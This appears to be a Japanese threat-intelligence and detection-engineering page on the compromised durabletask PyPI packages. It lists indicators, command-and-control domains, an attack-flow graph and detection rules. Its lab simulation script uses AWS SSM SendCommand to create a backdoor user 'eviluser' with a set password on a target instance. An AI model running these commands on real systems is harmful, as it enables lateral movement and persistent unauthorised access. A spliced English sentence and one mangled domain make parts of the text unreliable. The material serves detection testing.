durabletask: TeamPCPの最新のPyPIサプライチェーン妥協
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
Microsoftを標的としたサプライチェーン攻撃 durabletask PyPIのPythonパッケージで、悪意のあるバージョンの公開に至った 1.4.1, 1.4.2、および 1.4.3。攻撃者は報告によると、PyPIトークンを取得して武器化されたWheelファイルをアップロードするために侵害されたGitHubアカウントを利用しました。悪意のあるペイロードは、 rope.pyz を通じて、クラウド認証情報を盗み、追加のシステムに拡散するよう設計されたアーカイブから配信されました。検知の取り組みは、特定の一時ファイル、疑わしいプロセスの活動、および特定のコマンドアンドコントロールドメインへのトラフィックに焦点を当てるべきです。
調査
Wizは、以前の @antv キャンペーンに関連づけた侵害されたGitHubアカウントを特定しました。彼らの分析では、攻撃者がコミットメッセージを再利用し、PyPI公開トークンを含む漏洩したGitHubの秘密にアクセスしたことが判明しました。悪意のあるWheelファイルには transformers.pyz コンポーネントが含まれており、 rope.pyz ペイロードを /tmp にドロップし、 check.git-service.com and t.m-kosche.com.
とコマンドアンドコントロール通信を開始しました。
組織は潜在的に曝露されたクラウドおよびパスワードマネージャーの資格情報を回転させ、特定されたコマンドアンドコントロールドメインとURLをブロックし、感染指標として ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8sを検索するべきです。どの一時的な managed.pyz or rope-*.pyz ファイルも削除し、関連するPythonプロセスを終了する必要があります。GitHub ActionsおよびPyPI公開ワークフローも堅牢化され、同様のコンプロマイズのリスクを減らす必要があります。
対応
セキュリティチームは、 durabletask バージョン 1.4.1 に関連付けられ 1.4.3、 /tmp/managed.pyz and /tmp/rope-*.pyzを検索し、 python3 プロセスがそれらのファイルを実行しているかを監視するべきです。クラウドトレイルおよびKubernetesの監査ログを確認し、疑わしいSSMまたは check.git-service.com and t.m-kosche.com should be blocked, while CloudTrail and Kubernetes audit logs should be reviewed for suspicious SSM or kubectl exec 活動をレビューするべきです。影響を受けた資格情報は直ちに回転させ、パスワードマネージャーのログを確認してブルートフォース又は不正アクセスの兆候を確認するべきです。
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef credential fill:#ffff99 classDef operator fill:#ff9900 classDef c2 fill:#ffb6c1 %% Nodes initial_node["<b>スタート</b>: 攻撃者が有効なGitHub資格情報を取得"] class initial_node action action_initial_access["<b>アクション</b> – <b>T1078 有効アカウント</b>: 侵害されたGitHubアカウントがリポジトリアクセスを提供"] class action_initial_access action tool_gitHub["<b>ツール</b> – <b>名前</b>: GitHub<br/><b>役割</b>: ソースコードホスティングプラットフォーム"] class tool_gitHub tool action_cred_exploit["<b>アクション</b> – <b>T1212 資格情報アクセスのためのエクスプロイテーション</b>: PyPIトークンを取得するためにGitHubの秘密をダンプ"] class action_cred_exploit action file_pypi_token["<b>ファイル</b> – <b>名前</b>: PyPIトークン"] class file_pypi_token file action_cred_password_stores["<b>アクション</b> – <b>T1555.005 パスワードマネージャー</b> & <b>T1555.006 クラウドシークレット管理ストア</b>: クラウドプラットフォームおよびパスワードマネージャーの資格情報を収穫"] class action_cred_password_stores action credential_aws["<b>資格情報</b>: AWSのアクセスキーおよびSSMトークン"] class credential_aws credential credential_azure["<b>資格情報</b>: Azureサービスプリンシパル"] class credential_azure credential credential_gcp["<b>資格情報</b>: GCPサービスアカウント"] class credential_gcp credential credential_k8s["<b>資格情報</b>: Kubernetesサービスアカウントトークン"] class credential_k8s credential credential_vault["<b>資格情報</b>: HashiCorp Vaultトークン"] class credential_vault credential action_supply_chain["<b>アクション</b> – <b>T1195.002 ソフトウェアサプライチェーンの侵害</b>: PyPIトークンを使用して悪意のあるdurabletask 1.4.1〜1.4.3パッケージを公開"] class action_supply_chain action tool_pypi["<b>ツール</b> – <b>名前</b>: PyPIリポジトリ"] class tool_pypi tool malware_durabletask["<b>マルウェア</b> – <b>名前</b>: durabletaskパッケージ(悪意あり)"] class malware_durabletask malware action_execution["<b>アクション</b> – <b>T1204.002 ユーザー実行: 悪意のあるファイル</b>: 被害者が侵害されたパッケージをインストールし、ペイロードがダウンロードされる"] class action_execution action file_managed["<b>ファイル</b> – <b>パス</b>: /tmp/managed.pyz"] class file_managed file file_rope["<b>ファイル</b> – <b>パス</b>: /tmp/rope-*.pyz"] class file_rope file action_defense_evasion["<b>アクション</b> – <b>T1127 トラステッドデベロッパーのプロキシ実行</b>: Pythonインポートフックを通じて悪意のコードが実行される"] class action_defense_evasion action action_persistence["<b>アクション</b> – <b>T1176 ソフトウェア拡張</b>: __init__.pyおよび他のモジュールへのインジェクションポイント"] class action_persistence action action_credential_dumping["<b>アクション</b> – <b>T1003 OS資格情報ダンピング</b>: AWS SSMトークン、Kubernetesトークン、およびシェル履歴を抽出"] class action_credential_dumping action action_lateral_movement["<b>アクション</b> – <b>T1570 横方向のツール移転</b>: AWS SSMおよびKubernetes execを介して追加のホストに伝播"] class action_lateral_movement action tool_aws_ssm["<b>ツール</b> – <b>名前</b>: AWS SSM"] class tool_aws_ssm tool tool_k8s_exec["<b>ツール</b> – <b>名前</b>: Kubernetes exec"] class tool_k8s_exec tool op_and(("AND")) class op_and operator action_c2["<b>アクション</b> – <b>T1219 リモートアクセスツール</b> & <b>T1071.001 ウェブプロトコル</b>: /v1/modelsエンドポイントを使用してC2ドメインと通信"] class action_c2 action c2_domain1["<b>C2ドメイン</b>: check.git-service.com"] class c2_domain1 c2 c2_domain2["<b>C2ドメイン</b>: t.mu2011kosche.com"] class c2_domain2 c2 action_exfiltration["<b>アクション</b> – <b>T1048 代替プロトコルを使用したデータ流出</b>: /api/public/versionエンドポイントにデータを送信"] class action_exfiltration action exfil_endpoint["<b>エンドポイント</b>: /api/public/version"] class exfil_endpoint c2 %% Connections initial_node –>|leads_to| action_initial_access action_initial_access –>|enables| action_cred_exploit action_cred_exploit –>|captures| file_pypi_token file_pypi_token –>|used_by| action_supply_chain action_supply_chain –>|publishes| malware_durabletask malware_durabletask –>|installed_by| action_execution action_execution –>|downloads| file_managed action_execution –>|downloads| file_rope file_managed –>|executed_via| action_defense_evasion file_rope –>|executed_via| action_defense_evasion action_defense_evasion –>|establishes| action_persistence action_persistence –>|enables| action_credential_dumping action_credential_dumping –>|collects| credential_aws action_credential_dumping –>|collects| credential_azure action_credential_dumping –>|collects| credential_gcp action_credential_dumping –>|collects| credential_k8s action_credential_dumping –>|collects| credential_vault credential_aws –>|used_for| action_lateral_movement credential_k8s –>|used_for| action_lateral_movement action_lateral_movement –>|leverages| tool_aws_ssm action_lateral_movement –>|leverages| tool_k8s_exec action_lateral_movement –>|spreads_to| op_and op_and –>|connects_to| action_c2 action_c2 –>|contacts| c2_domain1 action_c2 –>|contacts| c2_domain2 c2_domain1 –>|receives_data_via| action_exfiltration c2_domain2 –>|receives_data_via| action_exfiltration action_exfiltration –>|sends_to| exfil_endpoint "
攻撃フロー
検知
不審な実行可能ファイルのダウンロード(プロキシ経由)
表示
Linuxの一時フォルダにスクリプトが作成された(file_event経由)
表示
隠しファイルがLinuxホストに作成された(file_event経由)
表示
IOCs (HashSha256) を検出:durabletask:TeamPCPの最新PyPiの侵害
表示
TeamPCP C2ドメインへのアウトバウンド接続[プロキシ]
表示
/tmp/managed.pyz経由でのPythonペイロード実行を検知[Linuxのプロセス生成]
表示
AWS SSM経由のSSM:SendCommandとSSM:DescribeInstanceInformationの伝播を検知[AWS CloudTrail]
表示
シミュレーション実行
前提条件:テレメトリーとベースラインの事前チェックが合格していること。
論理根拠:このセクションは、検知ルールをトリガーするために設計された敵の技術(TTP)の正確な実行を詳細に説明します。コマンドと説明は特定されたTTPsを直接反映し、検知ロジックが予想する正確なテレメトリーを生成することを目指します。
-
攻撃の説明とコマンド:
敵は、侵害されたEC2インスタンス(インスタンス A)で資格情報を取得しました。これらの資格情報を使用して、攻撃者はネットワークポートを開くことなく、AWSシステムマネージャーを活用して2番目のインスタンス(インスタンス B)に侵入します。ステップは以下の通りです:- 到達可能なインスタンスを列挙する via
SSM:DescribeInstanceInformationを使用してターゲットを見つける。 - 悪意のあるコマンドを実行する に関連付けられ
SSM:SendCommand(例:新しい特権ユーザーを作成する)をターゲットインスタンスで実行。 - コマンドの実行を確認する コマンドの出力を取得して実行を確認。
攻撃者はAWS CLIを使用し、両方のAPIコールに対して直接CloudTrailイベントを生成し、ルールの条件を満たします。
- 到達可能なインスタンスを列挙する via
-
回帰テストスクリプト: 以下のスクリプトは、コントロールされたラボで攻撃を再現します。AWS CLIが
ssm:SendCommandandssm:DescribeInstanceInformationの許可を持つ資格情報で設定されていることを前提としています。#!/usr/bin/env bash set -euo pipefail # ------------------------------------------------- # 変数 – ラボ環境に合わせて調整 # ------------------------------------------------- REGION="us-east-1" COMPROMISED_INSTANCE="i-0abcdef1234567890" # インスタンスA(攻撃者の足場) TARGET_INSTANCE="i-0fedcba9876543210" # インスタンスB(ラテラルターゲット) # 1️⃣ SSM管理のインスタンスを列挙する(DescribeInstanceInformationをトリガー) echo "[*] SSM管理インスタンスを列挙中..." aws ssm describe-instance-information --region "$REGION" --output json > /tmp/ssm_instances.json # 2️⃣ ターゲットに悪意のあるペイロードを送信する(SendCommandをトリガー) echo "[*] $TARGET_INSTANCE に悪意のあるペイロードを送信中..." MALICIOUS_CMD="useradd -m eviluser && echo 'evilpass' | passwd --stdin eviluser" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "悪意のあるユーザーを持続" --parameters commands=["$MALICIOUS_CMD"] --region "$REGION" --output json > /tmp/ssm_sendcommand.json # 3️⃣ コマンドIDを取得し、完了を待つ(オプション) CMD_ID=$(jq -r '.Command.CommandId' /tmp/ssm_sendcommand.json) echo "[*] コマンドID: $CMD_ID – 実行を待機中..." aws ssm list-command-invocations --command-id "$CMD_ID" --details --region "$REGION" --output json echo "[+] シミュレーション完了。CloudTrailには、SSM:DescribeInstanceInformationとSSM:SendCommandイベントが含まれているはずです。" -
クリーンアップコマンド: 悪意のあるユーザーを削除し、残留コマンド履歴を削除します。
#!/usr/bin/env bash set -euo pipefail REGION="us-east-1" TARGET_INSTANCE="i-0fedcba9876543210" echo "[*] $TARGET_INSTANCE 上の悪意のあるアーティファクトをクリーンアップ中..." CLEANUP_CMD="userdel -r eviluser || true" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "テスト後のクリーンアップ" --parameters commands=["$CLEANUP_CMD"] --region "$REGION"